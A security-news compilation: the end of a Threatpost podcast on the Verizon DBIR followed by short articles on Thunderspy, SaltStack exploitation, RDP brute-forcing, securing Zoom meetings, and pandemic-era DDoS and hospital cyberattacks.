GB: Sure, and I think you hit one of them, just there. And that, you know, last year, we saw this big rise in cloud email compromises, as well as cloud storage compromises. And those cloud storage compromises have moved “errors” from the fourth most common action to the third behind the use of stolen credentials and phishing, and have displaced malware in the top three types of actions that caused breaches and for those who may not be familiar with the DBIR, an error is anything that is caused unintentionally. And so it could be something like sending person A’s data to Person B in an email. It could also be configuring cloud storage to be publicly accessible, but then putting private data in it, having that found. There was no intention to cause a breach anywhere along the process. But a breach occurs nevertheless. And then those kinds of accidental breaches have jumped into the third spot, particularly on the backs of cloud storage. Where, what tends to happen, is a security researcher finds data either in a database or in just Cloud Storage that contains personal information, it gets publicly disclosed and then the organization has to explain the breach, and so I don’t think that these are new errors. I think the errors have been happening, there just hasn’t been a good path for their disclosure because we look at industries like healthcare and the public sector, that have mandatory reporting requirements, they’ve always had very high error rates, you know, and it’s only now that we’re starting to get error rates and other industries from this one type of disclosure.
But the couple of points for industry or for organizations is you need to make error a top tier target for your risk mitigation processes. Look at industries like manufacturing has worked to reduce error for decades and decades. You know, they can help teach us how we can reduce error but the other part is we need to normalize error disclosure. I’m not perfect. None of the people defending networks are perfect and other people using networks, none of the attackers are perfect. No one’s perfect. And so the only way we’re going to become more secure is if we acknowledge that and normalize reporting of errors, fixing them and just moving on rather than making a big issue about them every time they come up. And so that’s maybe number one is errors.
Number two, I think is is drop in malware and it ties into an maybe a bigger chain of “good news stories.” While some types of malware as such as ransomware and password dumpers are increasing – the password dumpers of course goes with the use of stolen credential – Some of the common types of malware we think about, such as Trojans and RAM scrapers have dropped significantly. And to that end, you know, in the DBIR, we collect data on the breaches that succeed. And that means we have a bias, we have a bias toward towards what works for the attackers, which isn’t really a problem because that’s kind of what you want to defend against, right. But there’s the other side, which is what the attacker try and fail at. And it turns out that our nonce incident data has that, things like malware blocks. And so we see the attackers trying things like trojans. There’s a lot of them out there, different types of malware, but we don’t see them occurring in breaches. And so I think that there’s a good news story around our web proxies, our mail proxies, our antivirus. And that, you know, they’re not perfect, but they are stopping malware. That’s good to know.
Along those same lines from a good news story is thinking about exploiting vulnerabilities. You know, I think it’s something that we all kind of feel nervous about. We see new vulnerabilities every day and you know, big vulnerabilities and we see how widely they’re distributed. Now we know kind of in our own organizations like we patch, but man, is it good enough? What we found is that most organizations are not, patching a lot, would be a good way to say it. In the industry section there are some figures that show patching. There’s an overall line in it that says that most organizations are patching 57 percent of their significant vulnerabilities in the first quarter, which is not really what you consider a passing grade. But when we look at the use of exploiting vulnerabilities in our breach data, we see that vulnerabilities are always single digits in exploitation. They’re just not exploited a lot. They’re not the easiest way for attackers to attack. And so that tells me that even though we’re not perfect patching, that patching we’re doing, plus our ability to look for vulnerabilities in our domain. And our ability to filter through things, you know, firewalls and such, is doing a good job of keeping exploiting vulnerabilities a step above what the attackers are willing to do at this point. You know, and that’s a good news story. It means some of our defenses are working. And there’s a couple other good news stories in the report as well. Those are two of the big ones.
Now, in the third key takeaway from the report would be that web applications has doubled year over year in breaches. You know, and this is a kind of a worrying trend, because there are probably a lot of organizations that are prepared for this. They spent the last several years moving to cloud services and the ability to conduct all their security actions whether a system is on prem or off. But for the organizations that haven’t made that transition, the attackers are already there. They’re already attacking those service oriented workflows, particularly using things like credentials, which is 80 percent of the attacks. But there’s also 20 percent exploiting known web app vulnerabilities, stuff that like could easily be patched. And so that jumping web app is a big trend in the report as well and one that I don’t think we can overlook, given how many people are working from home right now.
LO: Right. Yeah, that’s really interesting. In particular, I remember when, you know, I was reading through industry by industry, the financial and insurance industries and then also, accommodation and food services industries, were some of the ones that were really seeing kind of this rise up in web application attack too so it seems like certain industries are really struggling with that.
GB: Absolutely. And I think that some are seeing a very clear transition, like a combination of food services and retail. It used to be that those were driven by attacks on the point of sale systems, malware would be deployed that would read credit card numbers out of system memory. And that just hasn’t been the case in the last year or two instead. What is more common is attacks on their web app infrastructure. We’ve seen breaches both of personal information as well as breaches that are installing malware on the web app, or installing some type of software to capture credit card numbers and other data that’s flowing through the web app for the attackers. And so I think that attackers have somewhat pivoted, and whether it’s because point of sale systems are becoming more secure, or there’s just a larger volume of online retail targets, our data doesn’t tell us that, but either way, if you’re in an industry or if you’re moving to a online sales system, which, I suspect is relatively common right now, for businesses that have traditionally been tied to brick and mortar – It’s important to plan for how you will maintain the security of that system. Now, if you can afford to, or have the skills to secure yourself, do so. But if you don’t as an organization, it’s important to take advantage of economies of scale, right? You can, even if you can’t afford your own security operations center, you can afford potentially managed security or you can afford a platform that you lease like an online retail system that you purchase as a service. And then part of that service is the security that’s built into it. And security operations and that way, you know, you don’t have to bear that burden individually as a smaller medium sized business.
LO: Right, right. Well, you were talking earlier about the positive takeaways from this report, which I always, you know, like to focus on the middle of security stories. And one thing that stuck out to me, at least, and this kind of goes hand in hand with what you’re talking about in terms of patch management earlier, is when you guys were looking at the data breach incident response timelines, and it looked like the number of companies that were discovering incidents, the level of time when it was days or less was increasing. And containment in that same timeframe had, as you guys said, surpassed its historic 2017 peak, so it looked like there were some positive angles there in terms of breach timelines that may have to be taken with a grain of salt. But, you know, what were you guys seeing with that?
GB: Yeah and we really do see that, we’re always kind of hesitant about the timeline trends, because longer breaches tend to be well longer. And so they’re less likely to enter the data set early, particularly things like years or more. If it takes a year for the breach to occur, we won’t find out about it until a year after. So it’s a bit of a lagging indicator. But you know, we’re cautiously optimistic that discovery times are improving. Part of this, as the section indicates, is driven by more breaches associated with detection by managed security services. And those certainly have brought down the number and on the one side, it’s you know, you can potentially think about as a bias in the data set. You can also think about as this is a real trend, potentially that the use of managed security services decreases the time to detect a breach. And that makes sense, right? If you don’t have any security operations, like we just talked about, the way you find out about a breach, particularly something like a credit card breach, is the credit card company calls you and tells you that all the credit cards that were used at your site between time A and time B are being used maliciously, right? It’s a very lagging process. On the other hand, if you have some type of security operations, no matter how you supply it, you potentially have the ability to catch that attack while it’s happening. And that decreases detection significantly. So I’m a big believer that every organization no matter their size, should have some level of security operations, whether directly or indirectly through some type of service.
LO: One other thing I wanted to ask you about, and this was kind of a takeaway from the report that was surprising to me. But you guys found that cyber-espionage attacks actually saw a downward spiral, which was different from what you had found last year. But that was surprising for me just because it seemed as though there were more cyber-espionage campaigns that had been hitting the news over the past year. But as we know, like, you know, what you see in the news is not necessarily what’s being reported in the background. So can you talk a little bit more about kind of what really went into that drop and on the flip side, why financial motivated campaigns seem to not only be on the rise, but are beating out espionage campaigns by a wide margin.
GB:And this is one that we really try to impress every year because even though espionage tends to be somewhat cyclic, you know, it goes up and down every two years. It never really gets above around 30 percent of breaches. Financial breaches have always been the most common motive in the DBIR. It’s one of the things that I think a lot of times people just don’t realize. But it makes a lot of sense, right? Espionage is valuable in a limited case. Financially motivated braces are valuable in that everyone who is willing to take that route, right? Like, there’s no point at which you’re like, you know what, I don’t need more money.
And so, if there are targets – and there are always are targets – financially motivated attacks are going to continue to grow. And it’s really only constrained by the number of attackers and their ability to automate their attack, which is one of the reasons that throughout the report, we kind of hit on the importance of the simple attacks, right, because for the attackers, the simpler, the more automated they can make their attack, the more money they’re gonna make. And so it’s defenders, our job for protecting our organization isn’t to be perfect. It’s to be strong enough that we don’t look like a valuable target, like it will take too much time to attack us. Because even if my organization is imperfect, and I know it’s imperfect, I know there are ways to break into my organization. But if I built my defenses such that, maybe I take twice as long as the average company that the attackers are targeting, there’s absolutely no reason for them to go after us ever because there’s an infinite number of targets, who are twice as easy and they can compromise two of those in the time that would take to attack me. And so as defenders, you know, it’s okay to be imperfect. It’s okay to have those things where you’ve got that system that you just can’t quite do everything you want about it to secure it. Do what you can, bring yourself up, add those extra controls even if they’re not perfect. Because they make a big difference.
LO: Right? Yeah. Gabe, before we wrap up, I wanted to ask one other thing, I know that you touched on errors. And part of this is the DBIR had talked a little bit about internal actors versus external actors and how those can trigger breaches. Can you talk a little bit more about what you guys found when it comes to insider actors? I know that the majority of breaches were actually coming from external actors. But, you know, with insider threat being such a big topic seemed it seemed like DBIR was pointing to the fact that, you know, insider threats don’t seem to be as big of a threat, as they may have been reflected on in the past.
GB:Yeah, this is another one where we see a big discrepancy between what a lot of people kind of intrinsically feel and what the data shows. The data shows external actors have always been more common than internal actors in our data set. And this makes sense. Because given what we just talked about, on the financial side, if most breaches are financially motivated, more than likely, you’re already paying the insider guys. And so there’s not quite as much incentive for them to want to attack you, on the other hand there’s a huge number, there’s billions of people outside your organization who have a financial incentive to attack you. And so really, the external attacker is the driver, even when the breach is attributed to the inside, the majority of time it’s attributed due to a mistake, right? It’s an error. It’s unintentional, the person was not acting with malice inside your organization. It’s important to remember that, because we don’t want to spend our time hunting ghosts within an organization and looking for malice where it doesn’t occur. Now and there is some misuse within orgs. But even that, a lot of it tends to be around accidental – or not accidental – but non-malicious misuse, things like sending my work files to my personal email because it’s a little bit easier to do my work that way. Things like that. Now, and there are insider breaches, there are places where people take information from within their organization, and then sell it outside to make a little extra money on the side. But you know, more than likely as an organization, if you’re going to turn to look to your inside of users, to help decrease your breaches, look to what you can do to improve processes and set your inside employees up for success so that they are less likely to make mistakes. And when they do make mistakes, they don’t have a big impact.
LO: Right. And I think that’s really important to highlight in terms of insider actors as opposed to kind of insider threats or malicious actors, so I appreciated you guys highlighting that in the report. Gabe anything else you want to mention, any other kind of big takeaways or anything that caught you by surprise when you guys were kind of crunching all these numbers?
GB:I think that a lot of people so far have told us that they like path section. Figure 40 in the report is still kind of mystifying to people. But we’ve done a better job of explaining this year, there’s a black call out on, I think it’s page 39. But I’m not absolutely sure. Oh, excuse me, page 32. That helps explain it. But in general, I think that this is another good story because it gives defenders a new way to think about security, instead of thinking about breaches as something that either hasn’t started or has ended and now I’m responding after the fact if you think about breaches as a path, that takes time to accomplish, you can think about different ways of defending it. You can think about where do I want to meet the attacker in that path? What can I do to lengthen the attack path so the attacker just doesn’t want to accomplish it. Or even, you know, what have I not seen this attack path based off of what I have seen. We cover all those in the path section. And so I think people will enjoy that.
LO: Right. Well, that’s great. And, Gabe, thank you again for coming on to talk about the Verizon DBIR.
GB: It’s been my pleasure. Thank you for having me.
LO: Great. And once again, this is Lindsey O’Donnell Welch with Gabe bessette. And catch us next week on the Threatpost podcast.
Millions of Thunderbolt-Equipped Devices Open to ‘ThunderSpy’ Attack 12.5.2020 ThreatpostAttack
If an attacker can get his hands on a Thunderbolt-equipped device for five minutes, he can launch a new data-stealing attack called “Thunderspy.”
A new attack enables bad actors to steal data from Windows or Linux devices equipped with Thunderbolt ports – if they can get their hands on the device for just five minutes.
The attack, called “Thunderspy,” specifically targets Thunderbolt technology, which is a hardware interface developed by Intel (in collaboration with Apple) that allows users to consolidate data transfer, charging and video peripherals into a single connector. While Apple first introduced Thunderbolt ports on its MacBook Pro in 2011, the technology has also been widely adopted with varying PCs such as Dell, HP and Lenovo. Researchers say all Thunderbolt-equipped devices manufactured before 2019 are vulnerable — meaning that there are millions of devices at risk.
To launch the Thunderspy attack, one would need physical access to the device. However, the attack can be launched in minutes, and only involves use of a Thunderbolt-equipped computer, a screwdriver and some portable hardware. Attackers could then bypass security measures and access data — even if the target device is locked and its drive encrypted.
“Thunderspy is stealth, meaning that you cannot find any traces of the attack. It does not require your involvement, i.e., there is no phishing link or malicious piece of hardware that the attacker tricks you into using,” said Björn Ruytenberg, a security researcher who is currently a student at the Eindhoven University of Technology, in a Sunday post. “Thunderspy works even if you follow best security practices by locking or suspending your computer when leaving briefly, and if your system administrator has set up the device with Secure Boot, strong BIOS and operating system account passwords, and enabled full disk encryption.”
The Attack Based on a slew of flaws related to Thunderbolt protocol security measures, Ruytenberg developed nine attack scenarios for how the vulnerabilities could be exploited by a malicious entity to access victims’ systems – even with the industry standards in place.
In a video proof of concept, Ruytenberg demonstrated one of the Thunderspy attacks that could be launched in minutes. He was able to create the attack using a screwdriver, a Serial Peripheral Interface (SPI) programmer device and a Thunderbolt peripheral (gear costing about $400 in total). An SPI device is an interface bus commonly used to send data between microcontrollers and small peripherals.
In a proof of concept video, Ruytenberg showed that he was able to unscrew the bottom panel of a Thunderbolt-equipped ThinkPad to access its Thunderbolt controller, then attach the SPI programmer device using an SOP8 clip (which is a piece of hardware that attaches to controllers’ pins).
The SPI programmer can then rewrite the firmware of the chip to ultimately disable its security settings – allowing Ruytenberg to log into the device in about five minutes, sans password.
The Issue Thunderbolt ports have historically caused concerns about security over the years. That’s because in order to enable high-bandwidth, low-latency use cases (like external graphics cards), the Thunderbolt interface exposes the system’s internal PCI Express (PCIe) domain to external devices. Therefore, Thunderbolt devices possess direct memory access (DMA)-enabled I/O, allowing the ability to read and write all of system memory on a PC.
In 2019, researchers disclosed a set of vulnerabilities collectively dubbed “Thunderclap” that put computers at risk from weaponized peripheral devices. Due to Thunderbolt devices’ communication via the PCIe protocol, an attacker could abuse the flaw by convincing a user to connect a legitimate – but trojanized – device.
To protect against these flaws, hardware and OS vendors incorporated support for DMA remapping using Input-Output Memory Management Units (IOMMUs), which imposes memory protections on DMA. And, revised Thunderbolt controllers were introduced as a software-based access control measure that only authorizes trusted devices only.
However, Ruytenberg found seven issues related to these Thunderbolt protocol security measures, which could allow for the Thunderspy attacks. These flaws include: Inadequate firmware verification schemes, weak device authentication scheme, use of unauthenticated device metadata, downgrade attack using backwards compatibility, use of unauthenticated controller configurations, SPI flash interface deficiencies and a lack of Thunderbolt security on Boot Camp.
In a blog post responding to the flaws, Intel stressed that Ruytenberg’s research is not new, but instead demonstrates new attack vectors using a customized peripheral device on systems that did not have previous mitigations (including kernel DMA protections) enabled.
Ruytenberg responded that kernel DMA protection mitigates some — but not all of — the Thunderspy vulnerabilities, because devices manufactured earlier than 2019 don’t have kernel DMA protection and are still vulnerable. The only way to fully prevent Thunderspy attacks is to disable Thunderbolt ports from within BIOS, the researcher said.
Disclosure Ruytenberg disclosed the flaws to Intel on Feb. 10. Intel told the researcher it was aware of the flaws and wouldn’t be issuing further mitigations beyond kernel DMA protection. The researcher and chip maker exchanged some back and forth regarding the notification of affected parties – Intel only listed five companies that they would inform, Ruytenberg said, though researchers said 11 more OEM/ODMs and the Linux kernel security team needed to be notified.
“Eventually they notified us that they informed some parties on 25 March about the vulnerabilities and upcoming disclosure, without giving us details of what this information consisted of and whom exactly they contacted,” said Ruytenberg. “We reached out to several more parties after realizing that they had been skipped by Intel.”
Intel for its part recommends Thunderbolt port users check with their system manufacturers to determine whether their system has mitigations incorporated.
“For all systems, we recommend following standard security practices, including the use of only trusted peripherals and preventing unauthorized physical access to computers,” according to Jerry Bryant, director of communications for Intel Product Assurance and Security in a Sunday disclosure post. “As part of the Security-First Pledge, Intel will continue to improve the security of Thunderbolt technology, and we thank the researchers from Eindhoven University for reporting this to us.”
Ruytenberg plans to present his research at the Black Hat USA conference this summer.
Have you updated SaltStack Salt? Attacks are underway!
Have you updated your SaltStack Salt “masters” and made them inaccessible over the internet – or at least restricted access to them?
SaltStack Salt attacks
Even though F-Secure researchers declined to publish PoC exploit code for two critical Salt flaws they recently discovered and privately disclosed, it didn’t take long for others to do it and for attackers to try to exploit them. Successful exploitations
In the wake of the public revelation of the flaws affecting the popular server configuration management framework, attackers hit the LineageOS project, the Ghost blogging platform, DigiCert, as well as Xen Orchestra (a web-based management service for Xen hypervisors) and Algolia (an enterprise search and discovery provider).
The attacks were “noisy” (most installed cryptominers, but some also RATs) and were discovered and publicized quickly, making the number of vulnerable Salt installations exposed on the internet fall from nearly 6,000 to 3,722 in mere five days (May 1 to May 6).
Given the attention the attacks have garnered the number is surely even lower by now and, hopefully, organizations are also updating their internal-facing installations to prevent lateral exploitation and movement. What to do?
SaltStack provided security updates for both supported (2019.2.3 and 3000.1) and earlier versions (2015.8.x, 2016.3.x, 2016.11.x, 2017.7.x and 2018.3.x) and advised admins to harden their installations further.
There are tools for checking whether installations are vulnerable. There’s also an ongoing thread on GitHub where admins of affected organizations are sharing details about their masters being breached through the flaws.
It’s also good to note that some other solutions might have Salt integrated and will require updates. An example of this is the VMware vRealize Operations Manager, for which VMware plans to release updates soon (in the meantime, workarounds have been made available).
RDP brute-force attacks are skyrocketing due to remote working 3.5.2020 BleepingcomputerAttack
Attackers are increasingly targeting corporate resources used by employees who have now moved to work from home due to lockdown and shelter in place orders issued during the ongoing pandemic.
A highly popular solution to access enterprise devices remotely is the Remote Desktop Protocol (RDP) which enables remote workers to access their work Windows workstations or servers from home.
However, many of the RDP servers used to help teleworkers are directly exposed to the Internet, and, when poorly configured, they expose the organization's network to attacks.
Huge growth in the number of brute-force attacks As detailed in a report published today by security researchers at Kaspersky, almost all countries have seen tremendous growth in the number of brute-force attacks launched by threat actors against exposed RDP services since the beginning of March 2020.
In this type of attack, automated tools are used to enter combinations of usernames and passwords from lists of previously compromised credentials, randomly generated on the spot, or from dictionaries credentials.
Once the attackers successfully guess the right combination, they get full access to the targeted machine and, usually, use this access to steal sensitive information, to drop malware, or move laterally within the organization's network to find more valuable targets.
Growth in the number of RDP brute-force attacks (Kaspersky) "Brute-force attackers are not surgical in their approach but operate by area," the researchers said.
"As far as we can tell, following the mass transition to home working, they logically concluded that the number of poorly configured RDP servers would increase, hence the rise in the number of attacks."
In the U.S. for example, the number of brute-force attacks against Internet-facing RDP servers has increased from 200,000 per day in early-March to over 1,200,000 during mid-April.
According to stats from BinaryEdge and Shodan, currently, over 4,500,000 devices are exposing RDP to the Internet.
Exposed RDP servers (BinaryEdge and Shodan stats) However, despite the increasing number of brute-force attacks against Internet-facing RDP services and the huge number of new remote workers, Censys said at the beginning of April that "there hasn't been an uptick of Internet-exposed RDP servers beyond the normal ebb and flow or normal Internet traffic."
This trend can easily be explained by opportunistic attempts to take advantage of what attackers are seeing as an increased attack vector against companies that have to provide their employees with remote access to corporate IT resources.
RDP server count Q1 2020 (Censys) Favorite targets of ransomware gangs Attacks targeting RDP services have been on the rise since mid-late 2016 starting with the rise in popularity of dark web marketplaces selling RDP access to compromised networks and devices per an IC3 report from 2018.
In 2017 for instance, more than 85,000 RDP servers were available for sale or rent via xDedic, a dark web marketplace where hacked servers were being sold for an average price of $6.
Brute-force attacks against servers with open RDP ports are also being used as the initial attack vector in ransomware attacks, with the most recent examples being Dharma and DoppelPaymer ransomware groups' human operators who are brute-forcing they way onto companies' exposed and poorly configured RDP servers to deploy their malicious payloads.
These two ransomware groups will also start scanning for other RDP servers on the same network and will brute-force their way into those too according to a Microsoft report from last month, moving laterally to other systems and turning off security controls wherever they can, after a network reconnaissance stage.
How to secure RDP servers It is important to mention that using RDP to access your workstations or servers remotely is not something frowned upon if these services are protected against attacks.
To do that, Kaspersky recommends taking the following measures:
• At the very least, use strong passwords. • Make RDP available only through a corporate VPN. • Use Network Level Authentication (NLA). • If possible, enable two-factor authentication. • If you don’t use RDP, disable it and close port 3389.
You should also enable account lockout policies to block brute-force attacks, as they will temporarily block logins on accounts after a certain number of failed login attempts.
Enabling account audit policies can also help prevent such attacks as they will allow admins to see what accounts are repeatedly showing login errors and, thus, potentially targeted in brute-force attacks.
VNC is also vulnerable Even if you use the VNC protocol for remote working, you still exposed to attacks, as shown by the dozens of security vulnerabilities found by Kaspersky researchers in Linux and Windows VNC clients in November 2019.
Following that discovery, Kaspersky's ICS CERT research team was able to find over 600,000 VNC servers that can be accessed remotely based on info collected using the Shodan search engine for Internet-connected devices.
"As a safeguard against attacks, clients should not connect to unknown VNC servers and administrators should configure authentication on the server using a unique strong password," Kaspersky security researcher Pavel Cheremushkin said at the moment.
How to Secure Your Zoom Meetings from Zoom-Bombing Attacks 4.4.2020 BleepingcomputerAttack
Since countries have begun enforcing shelter-in-place and stay-at-home orders during the Coronavirus pandemic, the Zoom video conferencing software has become a popular way to keep in touch with friends and family, and even to join online fitness classes.
However. with Zoom's rise in popularity, a type of attack called 'Zoom-bombing' has also seen more and more activity.
Zoom-bombing is when someone gains unauthorized access to a Zoom meeting to harass the meeting participants in various ways to spread and hate and divisiveness, or to record pranks that will be later shown on social media.
Just yesterday, the FBI released an advisory warning Zoom users that they should properly secure their browsers from Zoom-bombing attacks.
"The FBI has received multiple reports of conferences being disrupted by pornographic and/or hate images and threatening language," the alert published by the FBI warned.
This guide will walk you through securing your Zoom meetings so that virtual get-togethers, meetings, exercise classes, and even happy hours are not Zoom-bombed by unauthorized users.
Privacy considerations when using Zoom Before we get into learning how to use Zoom, it is important to consider the privacy ramifications of participating in Zoom meetings.
One of the most important things to remember is that a Host can record a Zoom session, including the video and audio, to their computer. Therefore, be careful saying or physically 'revealing' anything that you would not want someone else to potentially see or know about.
Meeting participants will know when a meeting is being recorded as there will be a 'Recording...' indicator displayed in the top left of the meeting as shown below.
Recording indicator
It is also important to remember that a user can download their chat logs before leaving a meeting. These logs will only contain messages that you could see, but not the private chat messages of other users.
Finally, it has been reported that there is no true end-to-end encryption (E2E) between Zoom users' endpoints.
What this means is that only the communication between a meeting participant and Zoom's servers is encrypted, while the related meeting data traversing over Zoom's network is not.
This theoretically means that a Zoom employee could monitor a meeting's traffic and snoop on it, but Zoom has told The Intercept that there are safeguards in place to prevent this type of activity.
"Zoom has layered safeguards in place to protect our users’ privacy, which includes preventing anyone, including Zoom employees, from directly accessing any data that users share during meetings, including — but not limited to — the video, audio and chat content of those meetings. Importantly, Zoom does not mine user data or sell user data of any kind to anyone."
Securing your Zoom meetings Now that you know the potential privacy risks of using Zoom, before scheduling a meeting with friends or coworkers, you can familiarize yourself with the various ways you can secure Zoom meetings using the steps below.
Add a password to all meetings! When creating a new Zoom meeting, Zoom will automatically enable the "Require meeting password" setting and assign a random 6 digit password.
You should not uncheck this option as doing so will allow anyone to gain access to your meeting without your permission.
Use waiting rooms Zoom allows the host (the one who created the meeting) to enable a waiting room feature that prevents users from entering the meeting without first being admitted by the host.
This feature can be enabled during the meeting creation by opening the advanced settings, checking the 'Enable waiting room' setting, and then clicking on the 'Save' button.
Enable waiting room setting When enabled, anyone who joins the meeting will be placed into a waiting room where they will be shown a message stating "Please wait, the meeting host will let you in soon."
The meeting host will then be alerted when anyone joins the meeting and can see those waiting by clicking on the 'Manage Participants' button on the meeting toolbar.
You can then hover your mouse over each waiting user and 'Admit' them if they belong in the meeting.
Admit a person into the meeting Keep Zoom client updated If you are prompted to update your Zoom client, please install the update.
The latest Zoom updates enable Meeting passwords by default and add protection from people scanning for meeting IDs.
With Zoom being so popular at this time, more threat actors will also focus on it to find vulnerabilities. By installing the latest updates as they are released, you will be protected from any discovered vulnerabilities.
Do not share your meeting ID Each Zoom user is given a permanent 'Personal Meeting ID' (PMI) that is associated with their account.
If you give your PMI to someone else, they will always be able to check if there is a meeting in progress and potentially join it if a password is not configured.
Instead of sharing your PMI, create new meetings each time that you will share with participants as necessary.
Disable participant screen sharing To prevent your meeting from being hijacked by others, you should prevent participants other than the Host from sharing their screen.
As a host, this can be done in a meeting by clicking on the up arrow next to 'Share Screen' in the Zoom toolbar and then clicking on 'Advanced Sharing Options' as shown below.
When the Advanced Sharing Options screen opens, change the 'Who Can Share?' setting to 'Only Host'.
You can then close the settings screen by clicking on the X.
Lock meetings when everyone has joined If everyone has joined your meeting and you are not inviting anyone else, you should Lock the meeting so that nobody else can join.
To do this, click on the 'Manage Participants' button on the Zoom toolbar and select 'More' at the bottom of the Participants pane. Then select the 'Lock Meeting' option as shown below.
Do not post pictures of your Zoom meetings If you take a picture of your Zoom meeting than anyone who sees this picture will be able to see its associated meeting ID. This can then be used uninvited people to try and access the meeting.
For example, the UK Prime Minister Boris Johnson tweeted a picture today of the "first even digital Cabinet" and included in the picture was the meet ID.
This could have been used by attackers to try and gain unauthorized access to the meeting by manually joining via the displayed ID.
Manually join a meeting by ID Thankfully, the virtual cabinet meeting was password-protected but does illustrate why all meetings need to use a password or at least a waiting room.
Do not post public links to your meetings When creating Zoom meetings, you should never publicly post a link to your meeting.
Doing so will cause search engines such as Google to index the links and make them accessible to anyone who searches for them.
As the default setting in Zoom is to embed passwords in the invite links, once a person has your Zoom link they can Zoom-bomb your meeting.
Be on the lookout for Zoom-themed malware Since the Coronavirus outbreak, there has been a rapid increase in the number of threat actors creating malware, phishing scams, and other attacks related to the pandemic.
This includes malware and adware installers being created that pretend to be Zoom client installers.
Malicious Zoom installer To be safe, only download the Zoom client directly from the legitimate Zoom.us site and not from anywhere else.
Cybercriminals found in the context of a public health crisis that caused unprecedented restrictions affecting the restaurant industry a perfect opportunity to launch an attack on the systems of Takeaway food delivery service in Germany.
The measures adopted by the country to limit the spread of the COVID-19 virus have a drastic impact on social life. Restaurants function under strict rules that limit the number of guests, impose a greater distance between the tables, and have to stay closed between 6pm and 6am.
Under these conditions, many Germans order in through food delivery services like Takeaway.com (Lieferando.de). Yet cybercriminals have launched a distributed denial-of-service attack on the website demanding 2 bitcoins (around $11,000) to stop the siege.
Jitse Groen, the founder and CEO of Takeaway, today posted on Twitter the news of the attack. He attached a screenshot with the attacker's demand that threatened to attack other company sites.
Soon after Groen's tweet, the German branch of the company announced that its systems had been attacked and entered in maintenance mode "to ensure the security of all data." This could cause delays in order processing.
Some customers complained that the service accepted new orders, despite its systems being crippled by the attack, and they are not being processed.
In a subsequent tweet, the website informed that it would refund orders that had been paid online and were not delivered. This would not happen automatically, though, and customers would have to contact them via email.
source: Lieferando Lieferando boasts food delivery from more than 15,000 restaurants in Germany, so the impact of a DDoS attack is significant; not just for customers but for restaurant owners, too.
Times of crisis are typically when cybercriminals strike. As people in countries trying to slow COVID-19 infections are following social distancing recommendations, delivery services are experiencing an overload.
As this situation continues, heinous acts like this are likely to happen, especially from less-skilled attackers. More experienced actors may find a moral compass and take a break for the duration of the pandemic caused by the new coronavirus.
At least two ransomware actors stated that they would stop targeting health and medical organizations. Hospitals already have enough to deal with and any downtime they experience can cost human lives.
At the time of publishing, Lieferando website was up and running.
Update March 19, 08:39 EDT: In a reply to BleepingComputer, Takeaway said that the attack stopped and the company is now dealing with the effects.
The United States Health and Human Services Department's web site was hit with a DDoS cyber attack Sunday night to take it offline in the middle of the Coronavirus outbreak.
Since the COVID-19 outbreak, there has been a tremendous spike in people searching for HHS information about the Coronvirus as shown by the graph below.
Increased searches for HHS.gov site First reported by Bloomberg, attackers on Sunday night attempted to disrupt the dissemination of Coronavirus information by performing a DDoS attack against the HHS.gov web site.
A DDoS attack is when attackers send a huge amount of connections to a web site or IP address at the same time to overwhelm the server so that it is no longer accessible.
"The attack appears to have been intended to slow the agency’s systems down, but didn’t do so in any meaningful way, said the people, who asked for anonymity to discuss an incident that was not public," Bloomberg reported.
Later that night, the National Security Council tweeted an alert to ignore text messages spreading "rumors of a national quarantine" and that there is no national lockdown.
According to one of Bloomberg's sources, this tweet was in response to a disinformation campaign being conducted by the attackers in conjunction with the attempt to take down the HHS.gov site.
Government officials are aware of the attack and assume it was a foreign cyber attack, but have not been able to confirm that at this time.
"Secretary of State Michael Pompeo and other Trump administration officials are aware of the incident, one of the people said," Bloomberg continued.
Coronavirus related cyber attacks becoming common Whenever a world event brings panic and anxiety, criminals attempt to take advantage of the situation.
Such is the case with the Coronavirus where we are seeing related phishing campaigns, malware and ransomware, and cyber attacks against hospitals and testing centers.
This past Friday, the University Hospital Brno in the Czech Republic was shut down due to a cyber attack that started in the early morning hours.
This hospital hosts one of the 18 labs used to test for the Coronavirus and was performing 20 tests a day until the attack.
Hospitals around the world struggle with ever-growing waves of COVID-19 infections but the efforts in one testing center in Europe are being hampered by cybercriminal activity.
Computer systems at the University Hospital Brno in the Czech Republic have been shut down on Friday due to a cyberattack that struck in the wee hours of the day.
This comes at a time when there are more than 140 confirmed infections in the country and around 4,800 people in quarantine. The government has declared a state of emergency and imposed stern restrictions on crossing the border.
The University Hospital Brno hosts one of the 18 laboratories the Czech Republic uses for testing for the new coronavirus. Since the outbreak, the institution did up to 20 tests a day.
Not all systems are down Little information has been released about the attack, which occurred on Friday morning, around 2 a.m. local time. Its nature remains unknown but it would not be a surprise if it were a ransomware incident. At the time of writing, the hospital's website was down.
Due to the attack, the results for COVID-19 tests in the past couple of days, estimated to dozens, have been delayed. It typically takes a day to get the results.
According to the Czech News Agency (ÈTK), the director of the hospital, Jaroslav Štìrba, told reporters that computer systems started "falling gradually" and "had to be shut down." Members of the staff received instructions not to turn on the computers.
Systems serving laboratories like hematology, microbiology, biochemistry, tumor diagnostics, or radiology appear to be on a different network than the affected systems as they continue to work.
Basic operations are still possible at the hospital and patients are still being investigated, despite the attack. However, medical data collected by lab systems is stuck there and cannot be recorded in databases.
Recipes are written by hand or typed, leading to longer examination times. This happens at a point when every minute counts and doctors need all the help in dealing with COVID-19 infections.
The National Cyber and Information Security Agency (NÚKIB) has been called in and is working to identify the root of the problem and remedy the situation. The National Organized Crime Center is also involved in the case.
Because the state of emergency had already been declared in the country when the attack occurred, the investigators will treat it with priority and aggravated circumstances will be considered for prosecution.
Malware in the time of COVID-19 Some ransomware operators, like Maze, intentionally avoid targeting critical services. They told BleepingComputer that they "don’t attack hospitals, cancer centers, maternity hospitals and other socially vital objects."
Other ransomware actors, though, have no problem attacking healthcare units. At the beginning of 2018, SamSam hit at least two hospitals in the U.S.
Ryuk also has no remorse attacking hospitals. Last year, DCH hospitals in Alabama paid what the cybercriminals demanded for the decryption key that unlocked the medical data.
Other threat actors are also trying to capitalize from this global health crisis and created malware or launched attacks with a COVID-19 theme. A new ransomware strain discovered this week, BEC scammers are using the outbreak in an attempt to persuade victims to send money to a different account.
DomainTools also found a new malware for Android phones that locks them up and demands a ransom of $100 in bitcoin. CovidLock, as the researchers named it, locks the phone screen and threatens to delete contacts, pictures, and videos. The ransom note also claims to leak social media accounts to the public.
This is a screen-locker and starting Android 7.0 (Nougat) there is protection against it if a password is already set. CovidLock can still affect devices where unlocking the screen is not password protected.
DomainTools have obtained the decryption key for the unlock password set by CovidLocker and will soon make it public, along with the technical details of their research.
